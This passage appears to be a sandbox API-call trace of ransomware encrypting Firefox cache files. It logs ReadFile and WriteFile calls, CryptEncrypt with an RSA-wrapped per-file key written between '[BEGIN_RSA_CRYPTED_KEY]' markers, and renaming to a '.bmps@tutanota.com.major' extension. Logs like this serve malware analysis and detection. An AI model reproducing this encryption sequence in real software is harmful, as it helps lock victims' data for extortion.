lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.357] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.357] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.357] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.357] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TDYyqhOx1iOFa8HJ3QDU26/JICl18laLpOjLiYS2mvE99ypSZUETP5E5xz4EsfyP\nh0aheXx6bTVn9BlVbxxrQtZWO84QdkUPACLvpQRoc6rUH+LPCz61fFlfQBUuvJH1\n5Ylt4NSOEImvHmnWOFuWa5+YxRL3Rdgfxw+rem9W6nxi4KJOAgU9k5oxxjrYUebH\nzJAgE0dHBu9pb24vtyYv4BmQE/9A0soYRPf41tKUCzw1PJv25HpH3E3BGFrT67k3\nNlkmwLV/441A1hMsROJJGBoWiO6Z8gNmVnQBGN+PSHgxGdGPvI3h3/Ax5ARJPYjm\nAfVaZd+J0TTCJEmaLlj+gw==\n", pcchString=0x2e3f9a8) returned 1 [0275.357] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.358] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.358] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.358] CloseHandle (hObject=0x1b84) returned 1 [0275.358] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E62B77ABD78ADC557B61986D9E366B41273F2AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e62b77abd78adc557b61986d9e366b41273f2ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E62B77ABD78ADC557B61986D9E366B41273F2AE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e62b77abd78adc557b61986d9e366b41273f2ae.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.381] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.381] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E4FE439C561F79240EC3AB7AE886C122ADED94A", dwFileAttributes=0x80) returned 1 [0275.381] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xa1d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xa1d, lpOverlapped=0x0) returned 1 [0275.474] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.474] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xa1d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa1d, lpOverlapped=0x0) returned 1 [0275.475] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa1d [0275.475] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.475] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.476] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.476] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.476] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.476] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pBqKwIrdU431iBZ+CNOOYkQow0y8ROAxmvwraeP2E2YS6ea9jtsIWg85RhNjHzvX\nQlDaXdOon94OFaVVOTlongBxqPOxqw3DZkxSQIo7AR5dfuVgipnV28ZcjVABS1aC\ndl53sVM/XpQLi9LHalvWIeIlZ9uHY1sWlAV2U0ci/bGs1+uQ7N2LmAP2Zm4+M+4k\ndSUPePG6NjVjk8HqZzLLt8uSWuq8rSYpKszKyKTNXB4yQeZ+RynRQ2yYsftzXSk/\nlpfZQ7M9nDuoxZT3PCjhvTxlc8HTBQIySY8zTOWfl8V925b50WDBi/MX4fX9EW73\nE/0KQu6zslI/ReJF5qH3qw==\n", pcchString=0x2e3f9a8) returned 1 [0275.476] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.477] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.477] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.477] CloseHandle (hObject=0x1b84) returned 1 [0275.477] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E4FE439C561F79240EC3AB7AE886C122ADED94A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e4fe439c561f79240ec3ab7ae886c122aded94a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4E4FE439C561F79240EC3AB7AE886C122ADED94A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4e4fe439c561f79240ec3ab7ae886c122aded94a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.480] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5", dwFileAttributes=0x80) returned 1 [0275.480] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xada, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xada, lpOverlapped=0x0) returned 1 [0275.482] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2778, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.482] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xada, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xada, lpOverlapped=0x0) returned 1 [0275.482] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xada [0275.482] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.482] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.484] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.484] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="k1BmaHerHc6TXQWK7nM4b/oR1e1HCM9Rt7ZU3I2nWCLFEVn222Y4kowkbVd4Wwkm\n7k8Xc/YRJ+meG5Za0Q5yZO36EwxkSkFMcb+eESkOBgVm3roeNeKvo6R052jL3B9w\nnyf4LBRdk2cxyWHWYqjEUgeFtUVT++CKHMeubL+qYSX84xNjTZuLZmCK+A8lXaAn\nAUoe9DHQlkQP52NhuHoFgaX7NUkNg02qelimClW+s28kVkEqKzb2BBg1sJ+gfRr6\nDKIEhLW/l3TwZ9kvhSBd5ihK3+Q2+uT0wAkZ+ooBmCSPIJDebvMI2F3gaYvzCfPa\nvS1qrMtDzexW26FQm4WduQ==\n", pcchString=0x2e3f9a8) returned 1 [0275.484] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.484] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.484] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.485] CloseHandle (hObject=0x1b84) returned 1 [0275.485] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4d7a41c5aa58d81098a00bb2dcd370dec1ebbbc5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4d7a41c5aa58d81098a00bb2dcd370dec1ebbbc5.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.488] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.488] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4C2BFD9D85D0C1B7527A1BAD0613676DA6222786", dwFileAttributes=0x80) returned 1 [0275.488] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0275.489] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.489] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0275.490] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0275.490] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.490] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Relt3vTSLD2UY0JySYScKVASMCUX5qg6e/dWyQksfKS/EjehSxG+eIMfzSvb1Nhx\nx5mJdYjCZ1cYKvJYOBPXO7ZuGPrO6mNAp5b/Ly3MzrfoIM7rgQMnVCnnr4s8gL1w\naTzR53Er1rDgvhmln2dPyc0mCKkkumxZYyC9oix6M4ZVzdf58fDYi58WKYDhfWV3\ns17EIDfuWmZS3aycE1UVtrlfsXL27ExmnBTpXiNkaU59mXmJykgRLK0rPfYJIDx3\nLhtmqDFRfYtkPkiz0snz6KcsdoBY4OaBTLsE3sPRSlYlUEvfRPvq9stw8D44xetS\nk0u6XSusfVOZdbhJUf0WNg==\n", pcchString=0x2e3f9a8) returned 1 [0275.491] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.491] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.492] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.492] CloseHandle (hObject=0x1b84) returned 1 [0275.492] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4C2BFD9D85D0C1B7527A1BAD0613676DA6222786" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4c2bfd9d85d0c1b7527a1bad0613676da6222786"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4C2BFD9D85D0C1B7527A1BAD0613676DA6222786.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4c2bfd9d85d0c1b7527a1bad0613676da6222786.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.494] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.494] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF", dwFileAttributes=0x80) returned 1 [0275.494] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3b030, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesRead=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0275.598] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.598] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0275.599] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113c [0275.599] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.599] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.600] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.600] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rgMEKEUJh8ivg4cTc/YE6Bkcv9Zu7Oz1bYI18wuuEAwyxjdy+s0102j2bM4Bpl0L\nL7F6AN3i1czxPUHirMfwiHCh6YIoyeXi3nNFjSGmJTjGtaPZJk2igklmJ/z1K4uI\nlHVGdRE+GGVI+0ov220BtPV0NDBDpgLBgBfR6ct3bN/ew6pHSeO8iuYnG7W+gCZP\nO16whyrXfs66wJQkxXxURVSIe5NKlPikqA8sbPrNDsnC0ZeVGUiO5J1uObxwccCf\n26m/myUsCjqp7QOZqZ6AUouP9ruAfP9zmOuF5ZiYDhoM/4kP9GJDyOvDJIhBfb0r\nbaBqr1Fl+Cr9qk47zAvgkg==\n", pcchString=0x2e3f9a8) returned 1 [0275.600] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.600] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.600] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.601] CloseHandle (hObject=0x1b84) returned 1 [0275.601] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0ea042c54101b7ddcd0c9f711ab73a69e39af"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0ea042c54101b7ddcd0c9f711ab73a69e39af.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.603] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.603] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0471095F4C3DB3F7C817993B07112EBDB3F59", dwFileAttributes=0x80) returned 1 [0275.603] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3b030, nNumberOfBytesToRead=0x1c51, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesRead=0x2e3f9b4*=0x1c51, lpOverlapped=0x0) returned 1 [0275.700] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-7249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.700] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x1c51, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1c51, lpOverlapped=0x0) returned 1 [0275.701] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1c51 [0275.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.701] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.701] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.701] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.702] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.702] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EgfyQTWzx6Es0PniCeDQvgnqF618/geB0f2S0gnfcfaKnfxYl+ygzO/KDWzxkGWZ\nR313tMX62Mrt5+99JY1+LFDTvmgwkO6uiwRqSkluLnCvICI866CkzaM9Vw74BVeF\ngNKgrtBHQ92iEYzTx8x02PHIEwsjkPZBvip07Weea3rH1T+gGSlGuI9TU4IC5Qse\njxg6MUvhJId6qFgrxd01J5si+Ng3wE2NlyWIx9sM47KJf5YacTuM5BJpiOZmuY52\nx2/8GgPLgjVbE66y272DXQk6nNOhoZhcKQTwnruyADOfhX5JuXUuqG5XEAnW++gy\njSYruafbVT5dXvIFESG+Mw==\n", pcchString=0x2e3f9a8) returned 1 [0275.702] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.702] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.702] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.702] CloseHandle (hObject=0x1b84) returned 1 [0275.703] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0471095F4C3DB3F7C817993B07112EBDB3F59" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0471095f4c3db3f7c817993b07112ebdb3f59"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4BA0471095F4C3DB3F7C817993B07112EBDB3F59.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4ba0471095f4c3db3f7c817993b07112ebdb3f59.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.705] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.705] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4B18B5ADA8BF2E475961694931BE215AED8ECBD5", 